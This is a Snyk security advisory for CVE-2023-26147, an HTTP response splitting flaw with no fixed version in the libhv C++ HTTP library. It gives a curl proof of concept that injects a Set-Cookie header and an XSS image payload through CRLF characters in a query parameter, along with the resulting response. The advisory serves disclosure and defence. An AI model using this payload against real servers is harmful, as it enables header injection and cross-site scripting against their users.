HTTP Response Splitting Affecting ithewei/libhv package, versions [0,]
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-UNMANAGED-ITHEWEILIBHV-5730768
- published28 Sept 2023
- disclosed22 Jun 2023
- creditAlessio Della Libera
Introduced: 22 Jun 2023
CVE-2023-26147 (opens in a new tab)How to fix?
There is no fixed version for ithewei/libhv.
Overview
Affected versions of this package are vulnerable to HTTP Response Splitting when untrusted user input is used to build headers values. An attacker can add the \r\n (carriage return line feeds) characters to end the HTTP response headers and inject malicious content, like for example additional headers or new response body, leading to a potential XSS vulnerability.
PoC
curl -i -X GET "http://localhost:8080/test1?name=test%0d%0aSet-Cookie:foo%3Dbar%0d%0aContent-Type:text/html%0d%0a%0a%3Cimg+src%3dx+onerror%3dalert(%22hello%22)+/%3E%0d%0a"
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 39
Content-Type: text/plain
Date: Tue, 16 May 2023 10:28:06 GMT
MyHeader: User-test
Set-Cookie:foo=bar
Content-Type:text/html
<img src=x onerror=alert("hello") />